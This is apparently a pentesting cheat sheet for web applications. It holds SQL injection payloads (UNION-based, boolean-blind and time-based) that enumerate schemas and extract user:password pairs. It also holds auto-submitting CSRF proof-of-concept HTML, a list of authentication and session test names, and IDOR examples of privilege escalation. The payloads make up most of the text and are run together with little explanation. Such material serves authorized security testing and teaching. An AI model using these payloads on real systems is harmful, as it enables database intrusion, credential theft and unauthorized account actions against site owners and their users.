# Finding columns numbers' ORDER BY 4 ## Finding which columns is vulnerable' UNION SELECT 1,2,3 ## Finding the database name' UNION SELECT version(), database(), user() ## Finding tables names through guessing' UNION SELECT 1,2,3 FROM users #' UNION SELECT 1,2,3 FROM posts #' UNION SELECT 1,2,3 FROM accounts ## Finding columns names through guessing' UNION SELECT user,2,3 FROM users #' UNION SELECT username,2,3 FROM users #' UNION SELECT password,2,3 FROM users ## Find tables and columns names through Information_Schema' UNION SELECT table_name,2,3 FROM information_schema.tables #' UNION SELECT column_name,2,3 FROM information_schema.columns where table_name="users" ## If only just one column is vulnerable' UNION SELECT concat(user,char(58),password),2 FROM users #
Blind SQL Injection
# Boolean Based1' and 1=1 #1' and 1=2 #1' and ascii(substring(database(),1,1))>98 #1' and ascii(substring(database(),1,1))=53 #1' and (select 1 from users limit 0,1)=1 #1' and (select 1 from posts limit 0,1)=1 #1' and (select substring(concat(1,user),1,1) from users limit 0,1)=1 #1' and (select substring(concat(1,password),1,1) from users limit 0,1)=1 #1' and ascii(substring((SELECT concat(user,char(58),password) from users limit 0,1),1,1))>80 #1' and ascii(substring((SELECT concat(user,char(58),password) from users limit 0,1),1,1))=80 #1' and ascii(substring((SELECT concat(user,char(58),password) from users limit 0,1),2,1))>90 #1' and ascii(substring((SELECT concat(user,char(58),password) from users limit 0,1),2,1))=90 ## Time Based1' -sleep(3) #1' and if(1=1,sleep(10),false) #1' and if(ascii(substring(version(),1,1))>53,sleep(3),0) #1' and if(ascii(substring(version(),1,1))=53,sleep(3),0) #1' and if(ascii(substring((SELECT concat(user,char(58),password) from users limit 0,1),1,1))=97,sleep(10),0) #1' and if(ascii(substring((SELECT concat(user,char(58),password) from users limit 0,1),2,1))=81,sleep(10),0) #
# GET Request without Interaction<img src="http://www.example.com/api/setusername?username=CSRFd"># Post Request without Interaction<form id="autosubmit" action="http://www.example.com/api/setusername" method="POST"><input name="username" type="hidden" value="CSRFd"/><input type="submit" value="Submit Request"/></form><script> document.getElementById("autosubmit").submit();</script>
Testing for Credentials Transported over an Encrypted Channel
Testing for Default Credentials
Testing for Weak Lock Out Mechanism
Testing for Bypassing Authentication Schema
Testing for Vulnerable Remember Password
Testing for Browser Cache Weaknesses
Testing for Weak Password Policy
Testing for Weak Security Question Answer
Testing for Weak Password Change or Reset Functionalities
Testing for Weaker Authentication in Alternative Channel
Testing for Session ID Predictability and Randomness
Testing for Secure Cookies Attributes
Testing for Exposed Session Variables
Access Control Vulnerabilities
Vertical privilege escalation
If a user can gain access to functionality that they are not permitted to access then this is vertical privilege escalation. For example, if a non-administrative user can in fact gain access to an admin page where they can delete user accounts, then this is vertical privilege escalation.
Horizontal privilege escalation arises when a user is able to gain access to resources belonging to another user, instead of their own resources of that type. For example, if an employee should only be able to access their own employment and payroll records, but can in fact also access the records of other employees, then this is horizontal privilege escalation.
https://insecure-website.com/myaccount?id=123 // access data of user onehttps://insecure-website.com/myaccount?id=124 // access data of user twohttps://insecure-website.com/customer_account?customer_number=132355 //john's datahttps://insecure-website.com/customer_account?customer_number=132356 //wick's data